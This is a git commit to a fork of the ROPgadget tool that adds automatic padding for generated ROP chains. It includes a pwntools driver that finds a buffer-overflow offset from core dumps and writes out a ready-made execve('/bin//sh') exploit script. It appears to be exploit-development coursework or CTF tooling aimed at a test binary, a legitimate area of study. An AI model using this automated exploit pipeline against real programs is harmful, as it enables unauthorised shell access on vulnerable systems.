Fill in ropchain padding automatically

Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
This commit is contained in:
Liam Dalgarno 2020-11-25 18:55:01 +00:00
parent 99cb451194
commit 1bc6bc2cda
10 changed files with 157 additions and 120 deletions

1
.gitignore vendored
View File

@ -138,3 +138,4 @@ dmypy.json
# binaries # binaries
vuln-32 vuln-32
core core
out

View File

@ -17,12 +17,12 @@ import ropgadget.version
import ropgadget.loaders import ropgadget.loaders
import ropgadget.ropchain import ropgadget.ropchain
def main(): def main(arguments=None):
import sys import sys
from ropgadget.args import Args from ropgadget.args import Args
from ropgadget.core import Core from ropgadget.core import Core
try: try:
args = Args() args = Args(arguments)
except ValueError as e: except ValueError as e:
print(e) print(e)
sys.exit(-1) sys.exit(-1)

View File

@ -84,6 +84,7 @@ architectures supported:
parser.add_argument("--rawEndian", type=str, metavar="<endian>", help="Specify an endianness for a raw file") parser.add_argument("--rawEndian", type=str, metavar="<endian>", help="Specify an endianness for a raw file")
parser.add_argument("--re", type=str, metavar="<re>", help="Regular expression") parser.add_argument("--re", type=str, metavar="<re>", help="Regular expression")
parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses") parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation") parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)") parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine") parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")

View File

@ -215,7 +215,7 @@ class Core(cmd.Cmd):
self.__getGadgets() self.__getGadgets()
self.__lookingForGadgets() self.__lookingForGadgets()
if self.__options.ropchain: if self.__options.ropchain:
ROPMaker(self.__binary, self.__gadgets, self.__offset) ROPMaker(self.__binary, self.__gadgets, self.__options.paddingLen, self.__offset)
return True return True

View File

@ -14,9 +14,10 @@ from capstone import *
class ROPMakerX64(object): class ROPMakerX64(object):
def __init__(self, binary, gadgets, liboffset=0x0): def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
self.__binary = binary self.__binary = binary
self.__gadgets = gadgets self.__gadgets = gadgets
self.paddingLen = paddingLen
# If it's a library, we have the option to add an offset to the addresses # If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset self.__liboffset = liboffset
@ -40,7 +41,7 @@ class ROPMakerX64(object):
if g != "ret": if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return [gadget, regex.group("dst"), regex.group("src")] return [gadget, regex.group("dst"), regex.group("src")]
except: except:
continue continue
@ -58,7 +59,7 @@ class ROPMakerX64(object):
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return gadget return gadget
except: except:
continue continue
@ -70,9 +71,9 @@ class ROPMakerX64(object):
if g.split()[0] == "pop": if g.split()[0] == "pop":
reg = g.split()[1] reg = g.split()[1]
try: try:
print("\tp += pack('<Q', 0x%016x) # padding without overwrite %s" %(regAlreadSetted[reg], reg)) print("p += pack('<Q', 0x%016x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
except KeyError: except KeyError:
print("\tp += pack('<Q', 0x4141414141414141) # padding") print("p += pack('<Q', 0x4141414141414141) # padding")
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall): def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall):
@ -82,99 +83,99 @@ class ROPMakerX64(object):
if s["name"] == ".data": if s["name"] == ".data":
dataAddr = s["vaddr"] + self.__liboffset dataAddr = s["vaddr"] + self.__liboffset
if dataAddr is None: if dataAddr is None:
print("\n[-] Error - Can't find a writable section") print("# [-] Error - Can't find a writable section")
return return
print("\t#!/usr/bin/env python2") print("#!/usr/bin/env python3")
print("\t# execve generated by ROPgadget\n") print("# execve generated by ROPgadget\n")
print("\tfrom struct import pack\n") print("# from struct import pack\n")
print("\t# Padding goes here") print("# Padding goes here")
print("\tp = ''\n") print("p = b'" + ('A' * self.paddingLen) + "'\n")
print("\tp += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("\tp += pack('<Q', 0x%016x) # @ .data" %(dataAddr)) print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
self.__padding(popDst, {}) self.__padding(popDst, {})
print("\tp += pack('<Q', 0x%016x) # %s" %(popSrc["vaddr"], popSrc["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
print("\tp += '/bin//sh'") print("p += b'/bin//sh'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
print("\tp += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {}) self.__padding(write4where, {})
print("\tp += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8)) print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popDst, {}) self.__padding(popDst, {})
print("\tp += pack('<Q', 0x%016x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
self.__padding(xorSrc, {}) self.__padding(xorSrc, {})
print("\tp += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {}) self.__padding(write4where, {})
print("\tp += pack('<Q', 0x%016x) # %s" %(popRdi["vaddr"], popRdi["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(popRdi["vaddr"], popRdi["gadget"]))
print("\tp += pack('<Q', 0x%016x) # @ .data" %(dataAddr)) print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
self.__padding(popRdi, {}) self.__padding(popRdi, {})
print("\tp += pack('<Q', 0x%016x) # %s" %(popRsi["vaddr"], popRsi["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(popRsi["vaddr"], popRsi["gadget"]))
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8)) print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popRsi, {"rdi": dataAddr}) # Don't overwrite rdi self.__padding(popRsi, {"rdi": dataAddr}) # Don't overwrite rdi
print("\tp += pack('<Q', 0x%016x) # %s" %(popRdx["vaddr"], popRdx["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(popRdx["vaddr"], popRdx["gadget"]))
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8)) print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popRdx, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi self.__padding(popRdx, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
print("\tp += pack('<Q', 0x%016x) # %s" %(xorRax["vaddr"], xorRax["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(xorRax["vaddr"], xorRax["gadget"]))
self.__padding(xorRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi self.__padding(xorRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
for i in range(59): for i in range(59):
print("\tp += pack('<Q', 0x%016x) # %s" %(incRax["vaddr"], incRax["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(incRax["vaddr"], incRax["gadget"]))
self.__padding(incRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi self.__padding(incRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
print("\tp += pack('<Q', 0x%016x) # %s" %(syscall["vaddr"], syscall["gadget"])) print("p += pack('<Q', 0x%016x) # %s" %(syscall["vaddr"], syscall["gadget"]))
def __generate(self): def __generate(self):
# To find the smaller gadget # To find the smaller gadget
self.__gadgets.reverse() self.__gadgets.reverse()
print("\nROP chain generation\n===========================================================") print("\n# ROP chain generation\n#===========================================================")
print("\n- Step 1 -- Write-what-where gadgets\n") print("\n# - Step 1 -- Write-what-where gadgets\n")
gadgetsAlreadyTested = [] gadgetsAlreadyTested = []
while True: while True:
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested) write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
if not write4where: if not write4where:
print("\t[-] Can't find the 'mov qword ptr [r64], r64' gadget") print("# [-] Can't find the 'mov qword ptr [r64], r64' gadget")
return return
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1])) popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
if not popDst: if not popDst:
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1])) print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
gadgetsAlreadyTested += [write4where[0]] gadgetsAlreadyTested += [write4where[0]]
continue continue
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2])) popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
if not popSrc: if not popSrc:
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2])) print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
gadgetsAlreadyTested += [write4where[0]] gadgetsAlreadyTested += [write4where[0]]
continue continue
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2])) xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
if not xorSrc: if not xorSrc:
print("\t[-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2], write4where[2])) print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2], write4where[2]))
gadgetsAlreadyTested += [write4where[0]] gadgetsAlreadyTested += [write4where[0]]
continue continue
else: else:
break break
print("\n- Step 2 -- Init syscall number gadgets\n") print("\n# - Step 2 -- Init syscall number gadgets\n")
xorRax = self.__lookingForSomeThing("xor rax, rax") xorRax = self.__lookingForSomeThing("xor rax, rax")
if not xorRax: if not xorRax:
print("\t[-] Can't find the 'xor rax, rax' instruction") print("# [-] Can't find the 'xor rax, rax' instruction")
return return
incRax = self.__lookingForSomeThing("inc rax") incRax = self.__lookingForSomeThing("inc rax")
@ -187,7 +188,7 @@ class ROPMakerX64(object):
instr = [incRax, incEax, incAx, addRax, addEax, addAx] instr = [incRax, incEax, incAx, addRax, addEax, addAx]
if all(v is None for v in instr): if all(v is None for v in instr):
print("\t[-] Can't find the 'inc rax' or 'add rax, 1' instruction") print("# [-] Can't find the 'inc rax' or 'add rax, 1' instruction")
return return
for i in instr: for i in instr:
@ -195,31 +196,31 @@ class ROPMakerX64(object):
incRax = i incRax = i
break break
print("\n- Step 3 -- Init syscall arguments gadgets\n") print("\n# - Step 3 -- Init syscall arguments gadgets\n")
popRdi = self.__lookingForSomeThing("pop rdi") popRdi = self.__lookingForSomeThing("pop rdi")
if not popRdi: if not popRdi:
print("\t[-] Can't find the 'pop rdi' instruction") print("# [-] Can't find the 'pop rdi' instruction")
return return
popRsi = self.__lookingForSomeThing("pop rsi") popRsi = self.__lookingForSomeThing("pop rsi")
if not popRsi: if not popRsi:
print("\t[-] Can't find the 'pop rsi' instruction") print("# [-] Can't find the 'pop rsi' instruction")
return return
popRdx = self.__lookingForSomeThing("pop rdx") popRdx = self.__lookingForSomeThing("pop rdx")
if not popRdx: if not popRdx:
print("\t[-] Can't find the 'pop rdx' instruction") print("# [-] Can't find the 'pop rdx' instruction")
return return
print("\n- Step 4 -- Syscall gadget\n") print("\n# - Step 4 -- Syscall gadget\n")
syscall = self.__lookingForSomeThing("syscall") syscall = self.__lookingForSomeThing("syscall")
if not syscall: if not syscall:
print("\t[-] Can't find the 'syscall' instruction") print("# [-] Can't find the 'syscall' instruction")
return return
print("\n- Step 5 -- Build the ROP chain\n") print("# - Step 5 -- Build the ROP chain\n")
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall) self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall)

View File

@ -13,9 +13,10 @@ from capstone import *
class ROPMakerX86(object): class ROPMakerX86(object):
def __init__(self, binary, gadgets, liboffset=0x0): def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
self.__binary = binary self.__binary = binary
self.__gadgets = gadgets self.__gadgets = gadgets
self.paddingLen = paddingLen
# If it's a library, we have the option to add an offset to the addresses # If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset self.__liboffset = liboffset
@ -40,7 +41,7 @@ class ROPMakerX86(object):
if g != "ret": if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return [gadget, regex.group("dst"), regex.group("src")] return [gadget, regex.group("dst"), regex.group("src")]
except: except:
continue continue
@ -58,7 +59,7 @@ class ROPMakerX86(object):
if g != "ret": if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return gadget return gadget
except: except:
continue continue
@ -70,9 +71,9 @@ class ROPMakerX86(object):
if g.split()[0] == "pop": if g.split()[0] == "pop":
reg = g.split()[1] reg = g.split()[1]
try: try:
print("\tp += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg)) print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
except KeyError: except KeyError:
print("\tp += pack('<I', 0x41414141) # padding") print("p += pack('<I', 0x41414141) # padding")
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall): def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
@ -82,142 +83,152 @@ class ROPMakerX86(object):
if s["name"] == ".data": if s["name"] == ".data":
dataAddr = s["vaddr"] + self.__liboffset dataAddr = s["vaddr"] + self.__liboffset
if dataAddr == None: if dataAddr == None:
print("\n[-] Error - Can't find a writable section") print("\n# [-] Error - Can't find a writable section")
return return
print("\t#!/usr/bin/env python2") print("#!/usr/bin/env python2")
print("\t# execve generated by ROPgadget\n" ) print("# execve generated by ROPgadget\n" )
print("\tfrom struct import pack\n") print("from struct import pack\n")
print("import sys")
print("\t# Padding goes here") print()
print("\tp = ''\n") print("out_file = sys.argv[1]")
print()
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) print("p = b'" + ('A' * self.paddingLen) + "'\n")
print("\tp += pack('<I', 0x%08x) # @ .data" %(dataAddr))
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
self.__padding(popDst, {}) self.__padding(popDst, {})
print("\tp += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
print("\tp += '/bin'") print("p += b'/bin'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {}) self.__padding(write4where, {})
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("\tp += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4)) print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
self.__padding(popDst, {}) self.__padding(popDst, {})
print("\tp += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
print("\tp += '//sh'") print("p += b'//sh'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {}) self.__padding(write4where, {})
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8)) print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popDst, {}) self.__padding(popDst, {})
print("\tp += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
self.__padding(xorSrc, {}) self.__padding(xorSrc, {})
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {}) self.__padding(write4where, {})
print("\tp += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
print("\tp += pack('<I', 0x%08x) # @ .data" %(dataAddr)) print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
self.__padding(popEbx, {}) self.__padding(popEbx, {})
print("\tp += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8)) print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
print("\tp += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8)) print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
print("\tp += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
for i in range(11): for i in range(11):
print("\tp += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
print("\tp += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
print()
print(r"""
with open(out_file, "wb") as f:
f.write(p)
""")
def __generate(self): def __generate(self):
# To find the smaller gadget # To find the smaller gadget
self.__gadgets.reverse() self.__gadgets.reverse()
print("\nROP chain generation\n===========================================================") print("\n# ROP chain generation\n# ===========================================================")
print("\n- Step 1 -- Write-what-where gadgets\n") print("\n# - Step 1 -- Write-what-where gadgets\n")
gadgetsAlreadyTested = [] gadgetsAlreadyTested = []
while True: while True:
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested) write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
if not write4where: if not write4where:
print("\t[-] Can't find the 'mov dword ptr [r32], r32' gadget") print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
return return
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1])) popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
if not popDst: if not popDst:
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1])) print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
gadgetsAlreadyTested += [write4where[0]] gadgetsAlreadyTested += [write4where[0]]
continue continue
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2])) popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
if not popSrc: if not popSrc:
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2])) print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
gadgetsAlreadyTested += [write4where[0]] gadgetsAlreadyTested += [write4where[0]]
continue continue
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2])) xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
if not xorSrc: if not xorSrc:
print("\t[-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2])) print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
gadgetsAlreadyTested += [write4where[0]] gadgetsAlreadyTested += [write4where[0]]
continue continue
else: else:
break break
print("\n- Step 2 -- Init syscall number gadgets\n") print("\n# - Step 2 -- Init syscall number gadgets\n")
xorEax = self.__lookingForSomeThing("xor eax, eax") xorEax = self.__lookingForSomeThing("xor eax, eax")
if not xorEax: if not xorEax:
print("\t[-] Can't find the 'xor eax, eax' instruction") print("# [-] Can't find the 'xor eax, eax' instruction")
return return
incEax = self.__lookingForSomeThing("inc eax") incEax = self.__lookingForSomeThing("inc eax")
if not incEax: if not incEax:
print("\t[-] Can't find the 'inc eax' instruction") print("# [-] Can't find the 'inc eax' instruction")
return return
print("\n- Step 3 -- Init syscall arguments gadgets\n") print("\n# - Step 3 -- Init syscall arguments gadgets\n")
popEbx = self.__lookingForSomeThing("pop ebx") popEbx = self.__lookingForSomeThing("pop ebx")
if not popEbx: if not popEbx:
print("\t[-] Can't find the 'pop ebx' instruction") print("# [-] Can't find the 'pop ebx' instruction")
return return
popEcx = self.__lookingForSomeThing("pop ecx") popEcx = self.__lookingForSomeThing("pop ecx")
if not popEcx: if not popEcx:
print("\t[-] Can't find the 'pop ecx' instruction") print("# [-] Can't find the 'pop ecx' instruction")
return return
popEdx = self.__lookingForSomeThing("pop edx") popEdx = self.__lookingForSomeThing("pop edx")
if not popEdx: if not popEdx:
print("\t[-] Can't find the 'pop edx' instruction") print("# [-] Can't find the 'pop edx' instruction")
return return
print("\n- Step 4 -- Syscall gadget\n") print("\n# - Step 4 -- Syscall gadget\n")
syscall = self.__lookingForSomeThing("int 0x80") syscall = self.__lookingForSomeThing("int 0x80")
if not syscall: if not syscall:
print("\t[-] Can't find the 'syscall' instruction") print("# [-] Can't find the 'syscall' instruction")
return return
print("\n- Step 5 -- Build the ROP chain\n") print("\n# - Step 5 -- Build the ROP chain\n")
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall) self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)

View File

@ -11,9 +11,10 @@ from ropgadget.ropchain.arch.ropmakerx86 import *
from ropgadget.ropchain.arch.ropmakerx64 import * from ropgadget.ropchain.arch.ropmakerx64 import *
class ROPMaker(object): class ROPMaker(object):
def __init__(self, binary, gadgets, offset): def __init__(self, binary, gadgets, paddingLen, offset):
self.__binary = binary self.__binary = binary
self.__gadgets = gadgets self.__gadgets = gadgets
self.paddingLen = paddingLen
self.__offset = offset self.__offset = offset
self.__handlerArch() self.__handlerArch()
@ -23,12 +24,12 @@ class ROPMaker(object):
if self.__binary.getArch() == CS_ARCH_X86 \ if self.__binary.getArch() == CS_ARCH_X86 \
and self.__binary.getArchMode() == CS_MODE_32 \ and self.__binary.getArchMode() == CS_MODE_32 \
and self.__binary.getFormat() == "ELF": and self.__binary.getFormat() == "ELF":
ROPMakerX86(self.__binary, self.__gadgets, self.__offset) ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
elif self.__binary.getArch() == CS_ARCH_X86 \ elif self.__binary.getArch() == CS_ARCH_X86 \
and self.__binary.getArchMode() == CS_MODE_64 \ and self.__binary.getArchMode() == CS_MODE_64 \
and self.__binary.getFormat() == "ELF": and self.__binary.getFormat() == "ELF":
ROPMakerX64(self.__binary, self.__gadgets, self.__offset) ROPMakerX64(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
else: else:
print("\n[Error] ROPMaker.__handlerArch - Arch not supported yet for the rop chain generation") print("\n[Error] ROPMaker.__handlerArch - Arch not supported yet for the rop chain generation")

View File

@ -4,10 +4,11 @@ from pwnlib.util.packing import pack
from pwnlib.tubes.process import process, signal from pwnlib.tubes.process import process, signal
import os import os
import sys
import subprocess import subprocess
import argparse import argparse
import warnings from contextlib import redirect_stderr
import ROPgadget.ropgadget
print(r''' print(r'''
_ ___ _.--. ___ _____ ______ _____ ______ ______ _ ___ _.--. ___ _____ ______ _____ ______ ______
@ -21,11 +22,13 @@ print(r'''
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable") arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit") arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--core", "--c", metavar="core_file", type=str, help="The name of the generated core file") arg_parser.add_argument("--core", "--c", metavar="core_file", default="core", type=str, help="The name of the generated core file")
arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
args = arg_parser.parse_args() args = arg_parser.parse_args()
exec_file = args.exec_file exec_file = args.exec_file
core_file = args.core core_file = args.core
rop_file = args.rop_file
def find_offset(exec_file, core_file): def find_offset(exec_file, core_file):
input_file = "input.txt" input_file = "input.txt"
@ -46,6 +49,7 @@ def find_offset(exec_file, core_file):
process([f"./{exec_file}", input_file]).wait() process([f"./{exec_file}", input_file]).wait()
try: try:
with open("/dev/null", "w") as f, redirect_stderr(f):
core = Coredump(f"./{core_file}") core = Coredump(f"./{core_file}")
if core and pack(core.eip) in payload: if core and pack(core.eip) in payload:
@ -58,15 +62,26 @@ def find_offset(exec_file, core_file):
os.remove(input_file) os.remove(input_file)
payload_size *= 2 payload_size *= 2
raise BaseException("Failed to find offset") raise BaseException("[😞] Failed to find offset.")
offset = find_offset(exec_file, core_file) offset = find_offset(exec_file, core_file)
result = subprocess.run(["ROPgadget", "--binary", exec_file, "--ropchain"], stdout=subprocess.PIPE) print(f"[🤔] Running ROPgadget with offset {offset}...")
stdout = result.stdout result = subprocess.run(
[
"ROPgadget",
"--binary", exec_file,
"--ropchain",
"--silent",
"--paddingLen", str(offset)
],
stdout = subprocess.PIPE
)
with open("script.py", "wb") as f:
f.write(result.stdout)
